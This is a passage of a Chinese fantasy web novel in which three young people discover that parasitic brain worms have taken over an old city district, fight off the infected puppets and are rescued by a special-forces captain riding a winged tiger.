这种脑虫可单性繁殖,还拥有一定的智慧,是群体性寄生虫,不仅不会竞争,还会互相掩护。
他们主要寄生在宿主的大脑,通过吞噬宿主大脑来逐步控制宿主的思维和行动。
被控制的人类就此成了脑虫的傀儡,他们虽然还会正常工作,生活,但这些都只是让自己不被正常人发现,好持续的散播虫卵,扩大族群。
等人类发现时,脑虫往往已经寄生了大片区域。
在联盟记载中,有大半个城市因此而沦陷,甚至在往后数年中都深受其困扰。
有句话说得好,当你发现一只蟑螂的时候,在看不见的地方,往往已经出现了上百只。
脑虫也不例外。
哪怕系统只检测出虫卵,但沈昭确信,这个店,这条街,甚至半个老城区,可能都已经遍布了脑虫。
这个结论让沈昭如坠冰窟。
城内不是有专门的检疫和抽样吗?怎么还会出现这种鬼东西?!
沈昭好不容易放松下来的心情瞬间变的极烂。
她很想把这里给砸了,还想问候系统连同把她复活的创造者全家连同祖上十八辈,更想马上移居火星,或者像鲁滨逊那样在一个小岛上
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种田到死也行,可惜,她此刻什么也做不了。
“来这儿吃饭是吗?”
服务员面带微笑,向他们三个走了过来,很是热情的问道:“您要点什么菜?”
不,我不想吃,我想立刻就走。
但沈昭很清楚,她不能走。
目前这些脑虫很可能还在群居,大概率全集中在老城区,如果自己表露出异样,惊动了它们,导致它们四散逃离,那才真是完了。
她可不想在家喝个水也要被系统提醒有脑虫虫卵,又或者看着整个城变成大型狼人杀。
那不是人间,是地狱。
用尽毕生的演技,沈昭才控制住自己正常的面对着服务员,说道:
“先给我个菜单,我看看有什么。”
“好的女士。”
“他们家就招牌酸菜鱼好吃,就你刚才盯着看的那个。”
吴涛挑了个两个结实的马扎,一左一右的给纪缨和沈昭放好,极为热情地分享起经验:
“其它都不怎么样,要不就直接点吧?”
你给老娘我闭嘴!
沈昭现在看吴涛十分不顺眼,她严重怀疑自己是被对方的霉运给带衰了。
太晦气了,今天要是能回去,必须和他绝交,老死不相往来!
心中转圈抽着吴涛,沈昭绞尽脑汁想着办法。
没有手机,也不能推脱有事……她上哪儿找理由离开啊!
要不,要不真吃了算了?
反正虫卵孵化需要时间,寄生初期也能治愈,除了心理上过不去,不会有什么影响,吃完她就带人去特战队,赶紧把这儿全查封了?
想想成年脑虫的模样,沈昭胃里就一阵翻滚。
她觉得自己还能再挣扎一下。
“不,我就要看!”
沈昭爆发了毕生的演技,她语气骄纵,像个热恋的情侣,对着吴涛说道:
“你不是说好了都听我的吗?怎么又变卦了?”
说着,她上前握着吴涛的手臂,使劲捏了下。
妈耶!
吴涛差点没被沈昭的突然变化吓得一哆嗦,好在胳膊上的疼痛让他理智起来。
他看着沈昭略带警告的眼神,昨日的经历立刻浮上心头,心中猛的一惊,僵硬逐渐从小腿肚爬满了全身。
这地儿不会是有问题吧哈哈哈……
完了完了,他该怎么接着说?
“听你——”
吴涛话在嘴边一过,看沈昭不善的眼神,总算明白了她的意思,连忙用不耐烦的语气接道:
“你不要这么多事好吗?”
“多事?我这哪里算多事儿了?”
“行行行,这都是我的事儿,行了吧。”
“什么就都是你的事儿了吴涛,你给我说清楚!”
……
这突如其来的发展让纪缨大脑有点过载,她望着两个人,完全不知道两个人在唱什么大戏。
服务员更是尴尬的站在原地,她拿着塑封的菜单,试图劝架:“那个,这是我们的菜单,您要不看一下……”
“小情侣不要上来就吵架嘛。”
桌边吃饭的大叔没忍住劝了一句,抬头一看两人的模样,默默的闭上了嘴巴。
这一看就是武校出来的,惹不起,惹不起。
“要你多管闲事了?”
沈昭脸上没一点好气,她骂过多嘴的大叔,又直接拒绝服务员:
“看什么看,不吃了!”
说着,她转过身就要往外面走。
纪缨依旧不解极了,她看看沈昭,再看看吴涛,决定还是先跟上去再说。
吴涛苦笑着向服务员摊了摊手,说了句“不好意思啊”,也跟着追了上去。
服务员眼中不免多了几分失望。
而沈昭已经走到了门口。
她脸上还维持着生气的表情,心里却已经乐开了花。
欧耶,她能正常离开了!
可正当沈昭要走出去的时候,她的身后突然传来一声巨响。
“怪物!这里都是怪物!我要回家!”
11.报警电话
沈昭不得不停下脚步。
她扭过头看去,发现是一个青年男人从后厨闯了出来,他穿着个白色的围裙,像是在后厨打杂的小工。
也不知他是发现了什么,此刻五官正极度扭曲着,浑身颤抖,不管不顾的就往外冲,连路都看不清楚,‘砰’的一声,就撞在了矮桌上,发出令人牙酸的摩擦声。
这声巨响让所有人的目光瞬间都汇集在了他的身上。
“怪物,都是怪物!”
青年一个踉跄,差点跌在地上,他手撑着桌子,环视整个店内站着的人,又神经质的叫了起来。
“你没事儿吧?”
离得最近的吴涛即便已经意识到对方可能有点毛病,但还是下意识伸手想要扶上一把,可青年已经挣扎着站起来,他一把将想扶他的吴涛推到一边,继续往外冲去。
巨大的力量让吴涛踉跄着后退两步,他扶着墙站稳身体,猛地拍了一下头。
我有病啊!
“我要回家,我要回家!”
青年大叫着,三步并作两步,奔向门外。
沈昭正站在对方离开的路上。
她不想也被推一把,主动向右挪了两步。
“王海你给我站住!”
还没等青年跑出去,后厨就追上来一个膀大腰圆的厨师,他手中还提着个沾满油的勺子,边追边怒气匆匆的骂道:
“你小子,居然又犯病了!我就不该让你二婶把你留这儿!”
说着,厨师飞快的上前,准备将青年给抓回去。
“你别吓人啊,越吓他不越疯吗,小海,小海你清醒点!”
一个个头发半白的老太太跟了上来,她埋怨着厨师,喊着青年的名字,一看店里还有这么多人,又十分不好意思的先道起歉:
“唉,对不住了各位,这我家亲戚,脑子有点毛病,这是又犯病了。”
“奥奥奥。”
隔壁桌喝酒的三个男人立刻放松下来,有个站起来的又坐了回去,十分理解的说道:“那你们这也挺不容易的。”
老太太无奈的叹了口气:“没办法,总得给他找个活干,不然谁能养他一辈子呢?”
“我没病!我没有病!”
眼看着三言两语间自己就变成了疯子,王海不由得更加惊恐起来,他疯狂后退,想冲出门,动作却莫名其妙的迟缓起来,而膀大腰圆的厨师已经趁机跨到他身边,伸手死死的摁住了他。
老太太走上前,用关节有些粗大手掌温柔抚摸着他的脸,耐心的安抚道:
“没事,没事,姨知道你没病,咱们回后面好好休息啊。”
沈昭在袖子里悄悄握紧拳头,那老太太长着一张慈祥的面容,可王海却像是看到了魔鬼,他疯狂挣扎着想要躲避,但挣扎的动作越来越慢,就连目光也逐渐变得呆滞起来。
就像疯子在安抚下逐渐冷静下来似的。
但他不是。
他应该已经被脑虫寄生了,只是运气好,短暂的夺回了一点神智。
而现在,他又要变成脑虫所控制的傀儡了。
“怪物,不,我要回家,我要……我……”
王海呆站在原地,他呢喃着,似乎自我的意识还在挣扎,在仅剩最后一点清明之际,他望向沈昭,眼中还带着渴求,嘴唇拼尽全力,才最后碰了下,发出一个无声的音节。
跑。
快跑!
“我就说你这店选的不行。”
沈昭手掌已经渗出些许冷汗,她看着那个老太太就这么轻松的扶着王海往后厨走,努力做出不满的语气低声道:
“居然还有精神病,吓死人了!”
“这我,唉,是我的问题。”
吴涛也有点心有余悸:“咱们还是换家店吧。”
纪缨不知何时已经看向了后厨,她鼻翼翕动,轻轻细嗅着,忽然面色突然一变,像是闻到了什么不该闻到的味道,又迅速稳定下来,赞同的催促道:
“是啊,还是赶紧换一家吧!”
三人一致赞同的走出刘家鱼馆。
“那个……”
走下店门口的台阶,见身边没什么人,满头雾水的吴涛忍不住想要询问,沈昭眼疾手快,站到他身边又狠狠的捏了他胳膊一把。
“我们再看看这条街有什么好吃的。”
这条街是商业街,左右都有铺子,正开着门做生意,街上正人来人往,在这儿交谈可不是什么好主意。
“也是哎。”
纪缨克制住想回头的欲望,她袖中的手攥紧着,主动提议道:“我们要不先转一圈,走到头,再看看吃什么?”
她这么说着,朝沈昭眨了下眼。
沈昭立刻反应过来。
契约英灵后,天赋者的部分身体素质也会得到强化,纪缨应该也发现了些许异常,所以才这么建议。
而这也正是沈昭所想的。
她需要在不引人注意的情况下,尽快到一个无人的地方报警。
“好主意。”
沈昭同意道:“就先逛一圈再说。”
吴涛闭上了嘴,他觉得现在自己最好什么都别做,服从就对了。
三人一同向前走。
街道两排的招牌灯已经亮了起来,炒菜,烧烤,甜品的香气不断的扩散,刚下班的职工们谈笑着从他们三人身边一晃而过,偶尔还会停下来买些吃的。
沈昭的目光从他们身上划过,紧张让她的感知全面打开,发挥到了极致,若有若无的异样感从四面八方传来,她第一次感到置身于人流当中,居然会这么可怕。
太多了,这里有太多被脑虫寄生的人了。
沈昭后背有些发凉。
她刚刚演戏演的正常吗?那些脑虫傀儡有没有发现她?
他们三个现在在这群脑虫傀儡当中,会不会像灯泡一样闪耀,这群脑虫傀儡是否正在注视着他们?
沈昭不知道。
她只能尽全力让自己看起来正常。
“有炸鸡排哎,我先买一份。”
沈昭状若自然的从口袋里掏出钱:“老板,给我来三个。”
“好嘞。”
烫着卷发的女老板笑着伸手收过钱,麻溜的从冰箱中取出三份裹着面包糠的鸡排,放入油锅的漏勺当中油炸,边炸边问道:
“你们要什么口味的?加不加辣?”
若有若无的非人感再次传了过来。
她也已经是脑虫傀儡了。
“我要孜然。”
沈昭看着面前毫无异样的女老板,指甲缓缓嵌进肉里。
她面色自然的转过头,向纪缨和吴涛问道:
“你们呢?”
“哎呀。”吴涛仍不在状态的拍了下脑袋:“这该我付钱的!”
“别加辣,我一点辣都吃不下。”
纪缨站在原地,用余光瞥着刘家鱼馆的方向,心中慢慢松了口气。
那家店里的人没追上来。
沈昭扭回头,问道:“老板,你这还得炸多久?”
女老板颠着漏勺:“很快的,五分钟就行!”
“那我们一会儿再过来拿。”
沈昭走下台阶,招呼起纪缨:“走,咱们看看街头那几家店怎么样。”
“好啊。”
三人走到尽头,见左右无人关注,沈昭一个左拐,就拐进来时的巷里。
她继续快
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步向前,在几十米前一个分叉路口又拐了一道。
这里前后无人,整条街都静悄悄的。
沈昭总算松了口气。
她停下脚步。
纪缨也跟着停了下来。
吴涛憋了一路,此刻见两人停了下来,立马问道:“两位大佬啊,到底出什么事儿了?”
“我不知道,我只是闻到那家餐馆后厨有很重的血味。”
纪缨脸色有些苍白,她抿着唇,低声道:“是人血。”
“人血?”
吴涛倒抽一口冷气:“他们杀人了?!”
“应该是杀人了?”
纪缨回答的有些迟疑,她犹豫着开口:“我只在医院手术间外闻到过这么重的血味,正常受伤的出血量不会有这么多……”
即便心里有了猜测,纪缨仍不太敢下判断,她抬头看向沈昭,问道:
“沈昭,你发现什么了?”
“不太好说。”
沈昭很确定自己的感知比旁人敏锐,但这只能察觉到异常,并不能确定异常是什么东西,脑虫是靠系统扫描出来,她不能向外人暴露系统,就只能迂回着解释。
回忆着刚才的场景,沈昭组织着语言道:
“我一开始只觉着那盆酸菜鱼里的鱼片是活的,店员也有点不对劲,最好不要吃,赶紧走,上次就是这样,索性就想找借口离开,没想到跑出来个杂工……他绝不是疯子,而是这里被控制了。”
说着,沈昭伸手指了指脑袋,又道:“疯子可不会这么容易就安静下来。”
“你是说精神控制?感染者?”
吴涛不由得想起昨天的遭遇,脸色有些发白:“城里不会也有异魔吧?”
“那他就不会喊怪物了。”
纪缨摇了摇头:“而且活着的鱼片怎么说?异魔可搞不出来这东西。”
吴涛焦躁的抓起来头发:“那不是异魔,还能是什么?”
纪缨冷静的站在原地,她思索着,将这些特征全部组合在一起:
“外表怪物,能进行精神控制,被控制者与正常人无异,会杀人或者吃人,会做活着的鱼,不对,是鱼片具有活性,疑是怪物制作的产物,并给正常人吃……”
念着念着,纪缨脑中电光一闪,绷紧身体,猛的抬头看向沈昭。
两人互相对视,异口同声地答道:
“是脑虫!”
听到这个猜测,吴涛小腿肚一软,差点坐地上去。
“这,这这……这玩意儿不是书上才有的吗?十几年都没听说过了,怎么会出现在城里?”
“你路上就这么猜了对不对?”
纪缨倒还撑得住,她有些咋舌,没想到沈昭竟然能若无其事的撑到现在:
“我们得赶紧报警,搞不好整个老城区都成虫窝了!”
说着,纪缨就掏出了手机。
“不能报警。”
沈昭立刻否定:“市里每个月都有检疫,老城区能出现这么多脑虫,基层早就出问题了,报警一惊动它们,全城都要完!给我手机,我给陆队打电话,让他来处理!”
幸好陆队长临走之前给了她电话,她还专门背了,纪缨又有手机,不然现在想快点联系个人都难。
“你能直接联系特战队?那太好了!”
事情有了解决的希望,纪缨不由得也松了口气。
她伸出手,正准备把手机递给沈昭,忽然,一道阴影从天而降,笼罩了她。
刘家鱼馆那个膀大腰圆的厨师不知何时出现在了墙边上,他冒出半个身子,脸上带着诡异的笑容,正从上往下的俯视着他们三个。
“你们……是要给谁打电话啊?”
12.被包围了
“你们……是要给谁打电话啊?”
整个街道突然都静的可怕起来。
空气仿佛凝固,沈昭甚至能听到自己加速跳动的心跳,纪缨僵在了原地,吴涛更是满脸惊骇的后退一步。
被发现了?!
怎么办!
在三人还未反应过来的刹那,厨师半个身子迅速压了下来,整个脑袋忽然一百八十度转了个弯,露出开了个洞的后脑勺。
一条猩红的,像肉蛇般的东西猛地窜了出来,以迅雷不及掩耳之势击向了纪缨手中的手机。
“不好!”
纪缨迅速收回手臂,可还是慢了一拍,带着些许粘液的肉蛇张开空洞的口,灵活的在空中调整着方向,一下子就咬在了手机屏幕上。
‘嚓嚓。’
轻微的碎裂声响起,原本还正常的屏幕瞬间熄灭,只留下一圈扩散的裂痕。
“我的手机!”
一击正中,肉蛇没有停留,它像条灵活的舌头那样,‘咻’的又收了回去,只留下纪缨看着还带着粘液的碎裂手机,瞬间心死如灰。
手机坏了,他们还怎么报警?
一时间,三个人仿佛浸泡在了冬日的潭水当中,浑身冷得骨头都开始刺痛。
踏,踏踏。
似乎还嫌三人此刻不够危险似的,犹如受到某种感召,这条僻静街道的左右两条路口,不知道何时已经站满了人。
他们面无表情,只有双眼正直勾勾的盯着三人,像是在看某种异类,随即一步一步的往里走。
宛若丧尸围城。
“完了,我们被包围了!”
看着左右靠近的人群,吴涛脸色越发煞白,他又后退一步,整个人已经贴在了墙上,仿佛这样才能获得一点安全感。
沈昭已经麻了。
她看着这些逐渐逼近脑虫傀儡们,深刻的意识到一个道理。
就像下棋需要戴头盔一样,人出门也是需要带武器的!
总不能赤手空拳的和他们打吧?
她环顾四周,总算在墙角找到个勉强能充做武器的东西——一个外形有点像撬棍的生锈螺纹钢棍。
虽然生锈,但坚硬度还是足够的。
纪缨咬着牙,迅速扔掉已经坏掉的手机,站在沈昭身前,运转体内晦涩的炁能。
地母的力量是把双刃剑,在以城市这么巨大的范围内,祂无法准确的区分某个个体,只能一视同仁,于是在压制着变异动植物的同时,不可避免的也会压制人类。
道道灰雾不算流畅的从纪缨体内涌出,汇集在她身前,凝聚成一只豹子大小的巨大玄猫,它身形半透明,灰色的雾气遮掩着它的身形,黑曜石般的双眸死死盯着厨师,发出威胁的低吼。
“我们没有炁石。”
纪缨脸色同样有些泛白,但更多的是凝重,她双手握拳,做出防御的姿态,还算冷静的开口:
“如果这些东西全力围攻的话,影猫坚持不了多久。”
天赋者可以召唤英灵辅助作战,但这需要炁能作为基础,而城内的炁能含量太低了,她们无法吸收外界炁能补充自己,只能全靠体内储备不多的炁能支撑英灵活动,全力输出的话,根本撑不了几分钟。
再没有解决办法的话,他们会死在这儿的!
“嗬,嗬嗬。”
膀大腰圆的厨师还站在墙外,他转动头颅,重新用正常的人脸望着三人,像是无比清楚他们的挣扎不过是徒劳,他从喉咙中则发出异常粗粝的笑声,又兴奋的低语起来:
“容器,合适的容器……”
他低语着,再次俯下身,双手双脚并用,像野兽那样朝三人追了上来!
“嗷呜!”
腥臭味扑鼻而来,紧盯着厨师的影猫低吼一声,两条强壮的后腿一蹬,虚幻的身躯就朝着厨师扑去。
在即将触碰的厨师霎那,影猫瞬间凝实,狠狠的将厨师撞倒在一旁,爪子趁势勾住对方皮肉,锋利的犬齿试图撕咬对方的脖颈。
影猫暂时拦住了厨师。
“大佬……你们两个更能打。”
吴涛腿肚子止不住的发抖,他看着逐渐逼近的脑虫傀儡们,眼前闪过爸妈的身影。
他肯定活不下去了,但爸妈不能有事!
“不用管我,你们赶紧跑吧,把这里全是脑虫的消息带出去!”
“别出馊主意了。”
沈昭遥望过两条街口,尽头处尽是密密麻麻的人影。
她攥紧手中的铁棍,感受着其沉甸甸的重量,迅速说道:
“脑虫傀儡太多了,我们又不熟悉地形,乱跑只会陷入他们的包围圈,死的会更快。”
不能乱跑,但也不能继续在这里呆着。
这里腹背受敌,待下去必死无疑。
她得先找个更有利的地形!
“先跟我来!”
沈昭回忆着这条街道的路况,朝着右边快步奔去:“前面有个路口!”
吴涛用拳头猛砸了下脑袋,颤抖着跟上沈昭的步伐,纪缨则主动坠在后头,负责断后。
三人飞快的向前狂奔。
沈昭的目标是数米外的一个三岔巷路口。
这路口狭窄,只有两米宽,两边是四层高的小楼,楼上的窗户还装着坚硬的铁栅栏,尽头处则是一户农院,厚重的铁门打开着,里面的住户已经走了出来,正张手臂,裂开占据半张脸的嘴巴,甩着猩红的长蛇向沈昭奔来。
沈昭毫不犹豫的举起了铁棍。
技能【力能扛鼎】启动,她对准这个已经沦为脑虫傀儡家伙的脑袋就砸了上去!
“嘭!”
重形钝器狠狠的砸塌了对方半个脑袋。
和昨日城外相比,沈昭明显感觉到此刻体内的炁能有些涩滞,好在这份来自地母的压制显然不只她一个人有,面前这具傀儡连同脑袋里的脑虫生命力都同样衰弱了不少,没有再出现‘我这么用力,你怎么还没死’的迹象,而是很给面子的缓缓向后倒了下去。
这就让人心安多了。
追上来的吴涛看巷子尽头的模样,顿时眼前一亮:“这里面居然还有个院子!”
“门口还有把铁锹!”
赤手空拳的纪缨同样高兴不少,虚幻的影猫从她身后聚集,站在巷口守卫,而她则快步奔向院门,前去拿武器。
“先别去院子!吴涛,你快去摸摸这家伙口袋里有没有手机!”
脑虫傀儡们已经逐渐追了上来,沈昭没有继续向院子里后撤,她手持铁棍严阵以待,飞快报出一个电话号码:
“记住就打这个电话,记不住打给警察!”
“我明白了!”
不需要过多解释,吴涛立马明白了沈昭的想法。
那样一个小院,硬守也守不了多久,必须找到手机,报了警,他们才有活下来的可能!
他冲到倒地上脑虫傀儡身边,强行忽略对方头上还在微微弹跳的东西与飞溅出来的乳白色混合物,翻找起来对方的口袋。
左边没有,右边也没有,裤子口袋里也没有……该死,这个家伙没有手机!
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吴涛心瞬间拔凉拔凉的。
“大佬,他没有手机!”
“那再翻翻这个!”
脑虫傀儡已经冲到眼前,沈昭抡起铁棍,再次对准对方的脑袋狠狠的砸了上去,旋即扯着胳膊,往巷子里一拽,紧接着抬腿往他背上用力踹了一脚,踹进去四五米远。
一个也不够,她还需要更多!
沈昭又朝着下一个涌上来的脑虫傀儡举起了铁棍。
吴涛连滚带爬的继续去翻口袋。
“我也来!”
纪缨拿着铁锹,快速回奔到沈昭身边驰援,与她一起应对汹涌而来的脑虫傀儡。
狭窄的巷道能涌进来的脑虫傀儡有限,两人互相配合,短暂的阻拦了他们的脚步。
可他们的数量实在是太多了,甚至在看到吴涛的动作后更加疯狂起来,前仆后继的往巷里涌,敲倒一个,还不等沈昭拉出来,后面的人就把他踩倒在地,当成垫脚石继续往前冲。
没有盾牌与其它大型阻拦设施,仅靠一长一短,两把不算武器的武器,沈昭和纪缨完全守不住这样的攻势,只能边打边退。
不善近战的纪缨连声催促:“吴涛你快点!我们撑不了多久!”
“在找了,在找了!”
吴涛脑门和脖颈已经全都是冷汗,他翻过一个人全身,没有,再翻过一个人全身,又没有!
沈昭和纪缨的距离离他越来越近,脑虫傀儡们摩肩接踵的脚步声与喘息声也越来越近,三米,两米……吴涛又换了一个,还是没有!
就剩下最后一个人了。
豆大的冷汗‘啪嗒’从吴涛脸上落下,他大脑一片空白,全凭本能般从这人身上摸索。
沈昭距离他已经不到半米,再退一步就能碰到他的后背,浓郁的血味与怪诞的腥臭传到鼻腔,吴涛手抖着,忽然,他手指在右裤口袋里摸到一个硬物。
是手机!
他立刻将其掏了出来,
感谢地母,这手机没有密码,只需要按*号键就能解锁!
吴涛边摁电话,边连滚带爬的跑向院门口,颤抖着摁下了那个电话号码。
枫林市,特战队总部。
陆毅正站在窗边。
昨日突然出现的异魔仍困扰着他,各种猜测从脑海中浮现,却没有任何一点证据能够证实。
正当他沉思之际,口袋里的手机突然响了起来。
他拿出手机,屏幕上显示的是一个陌生的号码。
谁打来的?
陆毅迅速点了接通,将其放在耳边。
“什么?!”
一声惊喝让厅内的所有特战队员都抬起了头。
“你们坚持住,我这就到!”
陆毅电话都来不及放下,转身对着想要起身询问的副队长裴虹说道:
“老城区爆发寄生脑虫,通知上级,立刻启动一级警戒!”
‘轰——!’
这就像是在滚烫的油锅里突然浇了一盆冷水,所有人都炸开了,而陆毅依旧镇定,他快速下达着命令:
“裴虹你留下,马上启用紧急条款,给地母堂发命令,让他们必须在十分钟内赶到老城区布置隔离结界,再调动城防军三连和七连轻武装进城,进行后续清理,其余所有外勤人员都放下手头事情跟周啸走,我要先去救人!”
“是!”
安排完毕的陆毅连正门都没走,他一个翻身,从窗户跃出,风雷虎稳稳的接住了他,朝着老城区就全速飞去。
这次他可不能迟到了!
13.脱离险境
老城区,巷道。
“快把门关上!”
在看到吴涛翻出手机的刹那,沈昭就决定后撤。
纪缨则默契的再次召唤出了影猫,放大体型,让其堵在路中央,将巷道内密密麻麻的脑虫傀儡短暂的拦在外面。
两人飞快的跑向巷道尽头的院内,站在门前的吴涛还冲着手机吼他们所在的位置,被沈昭一把扯了进去。
体型硕大的影猫没坚持两三秒钟,顷刻间如烟花般崩裂,没有阻拦的脑虫傀儡们立刻疯狂追了上来,纪缨脸色苍白的和沈昭一起推着沉重的铁门,在他们涌上来前,彻底关上了它。
脑虫傀儡们疯狂的撞击着铁门,那力道震的手臂发麻,声音更是震天响,但门内仿佛劫后余生的三人全都松了口气,纪缨更是后退几步,一下子跌坐在地上。
召唤影猫抵挡的那几秒钟抽干了她体内的炁能,她现在手软脚软,当真是一点力气都没了。
“妈啊,吓死了,差点就没关上门!”
吴涛倚在墙上,他也吓得不轻,但迅速打起精神,举着手机对沈昭说道:
“我打通陆队的电话了,他正在赶过来,说还有……”
吴涛停了下来,对着手机问:“陆队长,您还有多久才能到?”
手机里传来略有些熟悉的声响:“三分半,三分半我就能到!”
沈昭看看手机再看看吴涛,总觉得对方有点邪门。
这家伙是怎么做到次次倒大霉,又次次都有死里逃生的好运的?
邪门,真是太邪门了。
但不管怎么说,支援就要来了,他们只需要再撑三分半钟就好。
这时间很短,可对在场的三人来说,又有点太过漫长。
吴涛舔舔干涩的嘴唇,望着被剧烈撞击仍巍然不动的厚重铁门,有些不确定的问道:
“这门能拦三分钟吗?”
“门肯定能拦,但房顶不一定拦住。”
说话间,纪缨望向铁门的门顶。
它并不高,目测只有两米七左右,上方也没有铁刺,很容易翻越。
刚才死里逃生的那点兴奋散去,忧虑再次涌上心头,她手扶着墙面,强行站起来,直起身体,做出应敌的姿态。
“用不了多久,他们就会像那个厨师一样,从上面爬进来!”
刚才还有些放松的吴涛顿时又慌了。
他环顾四周,发现身后只是个普通的两层民居,窗户上的铁栅栏也早就被卸掉,躲进去也撑不了多久。
“那怎么办?我们没地方可退了!”
三分半的时间还在耳边回响,那像极了对溺水之人伸出的手,他本该高兴,可伸手去够才发现,中间隔着的那点距离怎么也够不到。
这比溺水时无人救援还要令人绝望。
“都别急。”
沈昭活动下手腕,再次握紧铁棍,她对着手机确认道:“陆队,你说只需要三分半就能赶来是吗?”
手机立刻传来对方的声音:“现在只需三分十一秒!”
“很好。”
沈昭唇角微微勾起:“那这里交给我,纪缨,吴涛,你们先上楼顶等着,每隔三十秒给我报一次时!”
说完,她后脚蹬墙,一个用力,轻松翻上了门顶。
这是个好位置,居高临下,易守难攻不说,脑虫傀儡还没开始踩着同伴身体爬上来。
更妙的是电话已经打通,陆队就在来的路上,现在只需要三分钟就能到达。
她不用再节省炁能来应对未知的风险了。
所以,朋友,听说过什么叫三分钟无敌体验卡吗?
血色的火焰‘咻’的从沈昭右臂燃起,她望着底下已经开始尝试向上攀爬的的脑虫傀儡,笑容逐渐变得残忍起来。
我要开无双了!
接下来的三分钟对纪缨和吴涛来说,轻松的似乎有些不可思议。
他们两个还是从院子里各找了把武器才上楼,但根本用不上,站在楼顶后,主要工作是边数着时间,边看沈昭如何解决那些变异严重的脑虫傀儡。
“哎我去……哎呀我的妈呀,又碎了一个……这连人形都没了,跟个大红蛙似的,得三期异变了吧……”
吴涛紧张的碎碎念着,纪缨则站在楼边,死死的盯着沈昭。
她知道召唤古英灵后的沈昭实力变得很强,但没想到会这么强。
即便是匹敌凝气中期实力的三期异变脑虫傀儡,在她手中居然也没撑过两个回合。
这简直就是一面倒的屠杀!
看着看着,纪缨忽然想到了什么,她浑身一震。
“她完全可以自己突围的……”
这声音极低,语调更是含糊不清。
一旁的吴涛听到声响,茫然的扭头问道:“你说啥?”
“没什么,三期异变的脑虫傀儡越来越多了。”
纪缨神色严肃起来,她环顾着四周,对手机继续追问:
“陆队长,你还有多久到?
这一次,手机那头的陆毅没有回答时间。
“你们抬头看天。”
天?
纪缨抬头望去,但见火红似锦的西边天上,骤然划来一道白色流星。
那流星朝着他们越来越近,逐渐显露出本貌。
那是一只巨大的白虎,它背生双翼,双翼舒展着,道道幽蓝色的电光从它身上游走,背上还坐着个人,衣衫被狂风吹得猎猎作响。
这正是他们等候的特战队长。
陆毅目光扫过楼顶等待的纪缨和吴涛,又迅速落到正和脑虫傀儡战斗的沈昭身上。
他拍了拍虎头,示意对方去楼顶接人,随即就从虎背上站起,在十几米的高空一跃而下。
重力让陆毅以极快的速度坠落至地面,然而他却丝毫不慌,抬手挥出一道炁能,在下方制造出闪烁着淡蓝色光芒的台阶。
他迅速落在其上,双腿用力一蹬,调整方向,径直跃向还在与脑虫傀儡作战的沈昭。
“你先去楼顶。”
一把长刀
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从他右手凭空出现,落在墙头的瞬间,陆毅抬手挥刀,顺势随手斩下一个刚爬上来的脑虫傀儡。
他对面前的沈昭说道:
“这里交给我。”
那语气平淡的像是在郊游。
这个逼装的,我给满分。
眼睁睁看着陆队从十几米高空跳下来的沈昭深吸口气,把想说的骚话咽了回去。
她体内的炁能不多了。
“那我就先走了。”
沈昭冲他点了下头,她低头看了眼手中已经有些弯曲的铁棍,迟疑了一秒,才扔掉它。
她没有走楼梯,而是踩着墙外的凸起,徒手翻了上去。
巨大的白虎已经落在房顶,它收起了翅膀,趴伏在地上,正等着人坐在它的后背上。
但纪缨和吴涛没有上去,他们正站在楼边等着她。
三人一同爬上了风雷虎。
在坐上去的刹那,沈昭体内的炁能被彻底耗尽。
剧烈运动后的酸胀感与无力立刻充斥全身,即便沈昭已经做好准备,整个人还是不受控制的向后倒去。
纪缨早就有所预料,立刻伸手扶住了她。
“你总算颓了。”
纪缨调侃道:“我还以为你炁能无穷无尽了呢!”
“开玩笑。”
沈昭没有强撑,她靠在纪缨肩上:“要能无穷无尽,我早就杀穿整条街了!”
风雷虎站了起来,它抖抖翅膀,朝着空中一跃,振翅飞向了高空。
沈昭坐在最前,面前的天空异常宽阔,风吹着她的头发与脸庞,仿佛将所有的疲惫都给吹走,只留下一身的轻松。
总算是安全了。
“喂,妈……”
最后头的吴涛仗着手机在自己手里,先给爸妈打起了电话。
他语速极快的嘱咐着,纪缨听到声响,这才后知后觉想起来自己忘了给母亲打电话,气的猛拍了下大腿。
她连声催促:
“你快点打,打完给我!”
经典孤儿开局的沈昭倒不用操心这个。
她低头望向了街道。
看他们飞离,巷道里的脑虫傀儡大多数则开始四散奔逃,只有极少数脑虫傀儡还留在原地,正不甘的朝着他们嘶吼。
整个巷道正以肉眼可见的速度变得冷清起来。
陆队长也没有再清理它们,风雷虎一起飞,他就踩着刀,御刀飞行般追了上来。
面对脑虫入侵,至少寄生了数个街道这样的大事,他看起来仍然极为沉稳。
他略过纪缨,审视着正在打电话的吴涛,以及望着下方街道的沈昭。
“又见面了,沈昭。”
陆毅停顿片刻,意味深长的开口:
“昨天遇上异魔,今天更是遇上整条街的寄生脑虫……你的运气可真是不错。”
???
沈昭抬起头,脑袋上冒出数个问号。
陆队,你礼貌吗?
这运气这么好,给你好不好?
14.紧急救援~
“陆队,你开玩笑吧?”
沈昭木着脸:“这好运气给你你要吗?”
“要啊。”
陆毅扯动嘴角,露出个笑容,很是惋惜的开口:“可惜没人给。”
卧槽这家伙,怎么还没人套他的麻袋?
噢,打不过啊,那很正常了。
沈昭立刻心平气和了起来,但纪缨听到这话,同样满脑子问号。
她停下催吴涛赶紧给她手机,转回身,直视着陆毅,毫不畏惧的开口:
“陆队长,这里这么多脑虫傀儡正在往外跑,你不赶紧去拦它们,抓着沈昭问什么?”
陆毅挑了挑眉,他看向纪缨:“你倒是挺有胆气。”
“胆气?哈。”
纪缨不满的握紧双手,语气也有些冲了起来:“寄生脑虫一旦爆发,全城都要完蛋,我不急它还能急什么?反倒是陆队长您挺放心的,还有空在这儿说闲话呢!”
“不会爆发的。”
闻言,陆毅收敛了笑容,他神色严肃的许诺:
“你们拼命送出的消息很关键,请放心,各单位已经开始行动,我们会将危险控制在老城区内,绝不让它再扩大半点。”
伴随着陆毅的回答,一只翼展两米,通体金黄的鹰飞了过来,它盘旋着俯视大地,在看到风雷虎之后,极为人性化的朝他们点了点头。
那双鹰眼中正闪烁着金芒。
这是特战队员所召唤出来的黄级英灵金羽鹰,他们已经到达了指定地点,正在利用英灵观测脑虫感染的范围。
而在更远处,还有两只金羽鹰在高空上盘旋。
风雷虎压低了身形,逐渐开始向下降落,目的地几十米外的一处小广场。
数辆不同职务的警车已经在这里停成一排,紧急从周围招来的交警和民警正快速疏散着广场上的民众,中间已经清空了大片区域。
风雷虎缓缓降落在警车旁,引起了不少人的张望。
恢复些许体力的沈昭从虎背上跳了下来。
她刚下来,就又看到辆警车呼啸而来,刺啦一声刹车停下,后车厢门‘砰’的被打开,数条警犬连同训导员像下饺子似的跳了出来,急匆匆的奔向特战队。
